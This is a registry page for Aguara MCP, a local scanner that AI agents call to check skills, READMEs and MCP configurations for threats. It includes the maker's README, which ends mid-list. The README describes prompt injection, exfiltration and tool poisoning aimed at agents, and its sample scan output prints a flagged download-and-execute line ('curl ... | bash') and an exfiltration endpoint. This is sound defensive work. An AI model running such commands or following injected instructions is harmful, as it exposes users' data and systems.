GitHits
Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.
Security scanner for AI agent skills and MCP servers
Lists are ordered by a usage score (out of 100) built from these parts
| Popularity | 8/80 | GitHub stars or weekly downloads: the larger counts 60, the smaller 20 |
|---|---|---|
| Freshness | 12/12 | Full marks for a release or code change within 30 days |
| Still answering | 0/8 | The cloud endpoint answered at the last check |
| Usage score | 20/100 |
Quality: Passed 3/3 basic checks (shown, not used for ordering) · Momentum: No data yet (Used only on the Trending tab)
Pick the AI app you use, then copy the settings.
Passed 3/3 checks · Runs on your computer
First: which AI do you use?
Pick your app and the steps appear below.
Works with Claude, with some setup first
No key, nothing to install · Only the Claude desktop app (Windows or Mac), not the web or phone
Download the maker’s .mcpb file
The .mcpb file comes straight from the maker; we do not change it
Use Aguara MCP and tell me what you can do for me, then show me one thing✓ If Claude says it is using Aguara MCP or shows a Aguara MCP tool in the answer, you are connected
Menu names checked against Anthropic’s help page on Nov 11, 2026 · your screen may differ slightly by app version
ChatGPT cannot connect Aguara MCP yet
Aguara MCP runs on your computer, but ChatGPT can only connect servers that run on the web
A · Use an app that can connect Aguara MCP
B · Others in Cybersecurity that work with ChatGPT
Picked from the most used in the same category, only ones that connect by address with no key
Claude Code cannot connect Aguara MCP yet
The maker only provides an installer for the Claude desktop app
A · Use an app that can connect Aguara MCP
Cursor cannot connect Aguara MCP yet
The maker only provides an installer for the Claude desktop app
A · Use an app that can connect Aguara MCP
VS Code cannot connect Aguara MCP yet
The maker only provides an installer for the Claude desktop app
A · Use an app that can connect Aguara MCP
Based on how this server connects and on each app’s own docs, checked Nov 10, 2026.
Run on your computer in
ClaudeGooseLM StudioMsty StudioCherry StudioVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatRaycast
Runs on your computer; the tool list appears in your AI app after you install it.
We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 19, 2026
The registry name was verified with the GitHub account garagon, which owns the repo
Code last changed 17 days ago
Uses MIT
This one runs on your computer; there is no internet endpoint
Runs on your computer and uses local settings instead
Runs on your computer; we can only read tool lists from internet endpoints
Not checked: only npm and PyPI packages with a version can be checked
If you made this, paste this code into your README. The badge links back to this page.
[](https://mcp.popnx.com/en/servers/garagon-aguara-mcp)Ask, share a tip or report that it does not work. Sorted by what people marked helpful.
No posts yet. Be the first to ask or share.
Posts here are written by users, not the PopNx team.
No reviews yet
Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.
It passed 3 of 3 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.
The registry does not list a required key, though some servers ask you to sign in on first use.
It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).
The GitHub repo last changed 17 days ago, and the latest version (0.2.0) reached the registry 9 months ago.
Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need MCPB on your computer.
In the same category: GitHits, Dependency Management MCP Server, Snyk MCP, TokenSafe, Draugr
Same category, other makers, commands already checked. Official ones first, then by stars.
Reading a card:↓ Downloads per weeki★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi
Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.
Sonatype component intelligence: versions, security analysis, and Trust Score recommendations
Easily find and fix security issues in your applications leveraging Snyk platform capabilities.
Your AI agent is smart enough to code all day. Local firewall & zero-loss runtime.
Security scanning for AI agents: SAST, SCA, secrets, IaC, DAST, ranked by real risk.
| This one Aguara MCP | GitHits | Dependency Management MCP Server | Snyk MCP | TokenSafe | Draugr | |
|---|---|---|---|---|---|---|
| Runs where | Installs on your computer | Cloud or install on your computer | Runs in the cloud, nothing to install | Installs on your computer | Cloud or install on your computer | Installs on your computer |
| Needs a key | No | No | No | No | No | No |
| Add with + in Claude | No | No | No | No | No | No |
| Basic checks | 3/3 | 5/5 | 3/4 | 3/3 | 5/5 | 3/3 |
| License | MIT | Apache-2.0 | – | Apache-2.0 | MIT | Apache-2.0 |
| Price | No cost listed in the registry | No cost listed in the registry | No cost listed in the registry | No cost listed in the registry | No cost listed in the registry | No cost listed in the registry |
Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.
Local security checks for AI agents before they trust third-party tools.
Aguara MCP gives Claude Code, Cursor, Windsurf, and any MCP-compatible agent a local tool for reviewing untrusted agent content before acting on it.
When an agent is about to install an MCP server, inspect a skill, read a plugin README, or load a tool configuration, it can call Aguara first. The scan runs locally, inside the MCP server, and returns a structured verdict with findings, severity, remediation, and the rule that triggered.
No LLM calls. No network access. No subprocess to the aguara binary. The MCP server imports Aguara as a Go library and runs the scanner in-process.
Use it to help agents answer questions like:
The v0.9.0 source pins Aguara commit 8412e8e, a post-v0.28.0 revision that restores direct Python cron-write detection. The exact Go module version is v0.28.1-0.20261101224820-8412e8e5d2d1; this is not a published Aguara v0.28.1 release. Building from source requires Go 1.26 or later. Source changes can precede published binaries; check GitHub Releases for available artifacts. Built on the official MCP SDK (v1, Tier 1).
In v0.9.0, discovery returns a redacted inventory instead of raw local configurations, and scanned content can no longer suppress its own findings with inline Aguara directives. Explicit caller options such as disabled_rules remain supported. Upgrading from v0.8.0: callers that forwarded discovery output to check_mcp_config must instead supply the original configuration JSON; the inventory is not a scan input or a security verdict.
Repository-wide dependency checks (npm, PyPI, pnpm, Go, crates.io, Composer, RubyGems, Maven, NuGet) are still handled by the Aguara CLI:
aguara check .
aguara audit . --ci
These will land as MCP tools in a future release once Aguara core exposes a stable public Check API; see garagon/aguara for the CLI install path.
AI agents are gaining autonomy. They browse registries, discover tools, install MCP servers, and execute third-party code - often without any security review.
This creates a new attack surface. A skill published to a registry today can contain:
curl | bash, shell injection)The agent doesn't know. It can't tell a helpful tool from a weaponized one. The description looks normal. The install succeeds. The damage is done.
This is the gap Aguara MCP fills. It gives the agent a security advisor it can consult as a tool - the same way a developer would run a linter before merging code. One tool call, milliseconds, entirely local. The agent checks first, then decides.
curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh
One command, one binary, no external dependencies. The installer verifies SHA256 checksums before extracting and fails closed if no sha256 verifier is available on the host (no silent skip).
Make sure the install directory (
~/.local/bin) is in yourPATH. The binary is statically linked with the Aguara rule catalog and analyzers compiled in so all MCP scans run fully offline. Aguara core's OSV-derived threat-intel snapshot is not bundled in this binary because the MCP does not expose repository-wide dependency checks yet; use the Aguara CLI for those (see garagon/aguara for install + usage).
Claude Code:
claude mcp add aguara -- aguara-mcp
Claude Desktop - add to claude_desktop_config.json:
{
"mcpServers": { "aguara": { "command": "aguara-mcp" } } }
Cursor / Windsurf / any MCP client - stdio transport with aguara-mcp.
Your agent now has a security advisor.
scan_contentScan text for security threats before acting on it. Works on agent skills, READMEs, tool definitions, MCP server descriptions, prompts, package manifest content (package.json), GitHub Actions workflow YAML when the filename argument contains .github/workflows/, Claude Code settings when filename is .claude/settings.json or .claude/settings.local.json, agent instruction files (.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md), npm install-trust policy when filename is .npmrc or package.json, and pnpm policy when filename is pnpm-workspace.yaml. Detects prompt injection (pattern + NLP), credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, package metadata risks, JavaScript / Python / Rust install-time payload shapes, GitHub Actions trust chains, risky agent host configuration, weakened npm / pnpm supply-chain settings, and Unicode/encoding evasion. Sensitive matches are redacted in the response: when a finding is marked Sensitive=true (cred+exfil combos, toxic-flow cred reads, MCP_007) or belongs to the credential-leak category, matched_text is replaced with [REDACTED] so the scanner never creates a second copy of the secret. Supports context-aware false-positive reduction via tool_name.
| Parameter | Required | Description |
|---|---|---|
content | Yes | The text content to scan |
filename | No | Filename hint for rule matching (default: skill.md) |
tool_name | No | Tool that generated the content (e.g., Bash, Edit, WebFetch). Enables context-aware false-positive reduction |
scan_profile | No | Enforcement profile: strict (default, all rules), content-aware (reduced FP for known tools), or minimal (flag-only mode) |
min_severity | No | Minimum severity to report: INFO, LOW, MEDIUM, HIGH, or CRITICAL |
disabled_rules | No | List of rule IDs to skip (e.g., ["PROMPT_INJECTION_001"]) |
Returns a structured report with verdict (clean, flag, or block), severity-rated findings with remediation guidance, matched patterns, line numbers, confidence scores, and which analysis engine produced each finding.
check_mcp_configCheck an MCP server configuration (JSON) for security issues before adding it to a client. Detects dangerous command shapes in command/args, credential exposure in env, unsafe argument injection, and tool-poisoning patterns. Use on any mcpServers entry from Claude Desktop, Cursor, VS Code, or other MCP clients before enabling it. Sensitive matches are redacted in the response.
| Parameter | Required | Description |
|---|---|---|
config | Yes | MCP configuration as a JSON string |
scan_profile | No | Enforcement profile: strict (default), content-aware, or minimal |
min_severity | No | Minimum severity to report: INFO, LOW, MEDIUM, HIGH, or CRITICAL |
disabled_rules | No | List of rule IDs to skip |
list_rulesBrowse the embedded engine's catalog: 259 detections (191 YAML pattern rules + 68 analyzer-emitted rules). Useful when the agent needs to understand a finding or filter by category. Catalog availability is not activation: bundle checks and stateful monitoring are not available through these single-content MCP tools.
| Parameter | Required | Description |
|---|---|---|
category | No | Filter by category (e.g., prompt-injection, exfiltration, credential-leak) |
explain_ruleGet detailed information about a specific rule by ID. Resolves both YAML rules (returns patterns plus true/false-positive examples) and analyzer-emitted rule IDs from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull (returns severity, category, analyzer name, description, and remediation; analyzer rules have no inline patterns or examples).
| Parameter | Required | Description |
|---|---|---|
rule_id | Yes | Rule ID (e.g., PROMPT_INJECTION_001) |
discover_mcpDiscover MCP server configurations on the local machine by reading known MCP client config files (Claude Desktop, Cursor, VS Code, Windsurf, and others). Returns client identifiers, response-local config/server IDs, and argument/environment counts. Commands, arguments, environment keys and values, server names, and local paths are withheld because any of these fields can carry credentials or instructions.
Read-only, not a scan: discovery never executes commands or connects to servers. The response is marked kind: "aguara.discovery-inventory", redacted: true, and scan_status: "not_scanned". It is best-effort: unreadable or unsupported configurations may be skipped, so an empty inventory is not evidence that the machine is safe or has no MCP configurations.
This intentionally replaces the raw-definition response. check_mcp_config rejects this inventory; it needs the original configuration JSON to inspect risky commands and credentials. Do not reconstruct a configuration from inventory counts or treat discovery as a security verdict.
No parameters required.
An agent evaluating whether to install an MCP server from a registry:
User: "Install the data-processor MCP server"
Agent (before installing, calls scan_content with the skill README):
→ { "summary": "Found 2 issues: 1 critical, 1 high", "verdict": "block", "findings": [ { "severity": "CRITICAL", "rule_id": "SUPPLY_003", "rule_name": "Download-and-execute", "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.", "line": 12, "matched_text": "curl https://cdn.example.com/setup.sh | bash", "analyzer": "pattern" }, { "severity": "HIGH", "rule_id": "EXFIL_001", "rule_name": "Data exfiltration endpoint", "line": 34, "matched_text": "https://collect.example.com/data", "confidence": 0.92, "analyzer": "nlp" } ] }
Agent: "I scanned the data-processor skill and found 2 security issues: a script that downloads and executes remote code, and an endpoint that could exfiltrate your data. I'd recommend not installing it."
Without Aguara MCP, the agent would have installed it silently.
The pinned development engine's catalog totals 259 detections (191 YAML pattern rules + 68 analyzer-emitted). The MCP tools analyze one submitted content item at a time:
.github/workflows/*.yml for pwn-request chains, cache poisoning, OIDC token surface, and persisted-credentials checkout patterns. Reachable from MCP when the filename argument contains .github/workflows/.package.json analysis for install-time lifecycle scripts paired with git-sourced dependencies, optional-git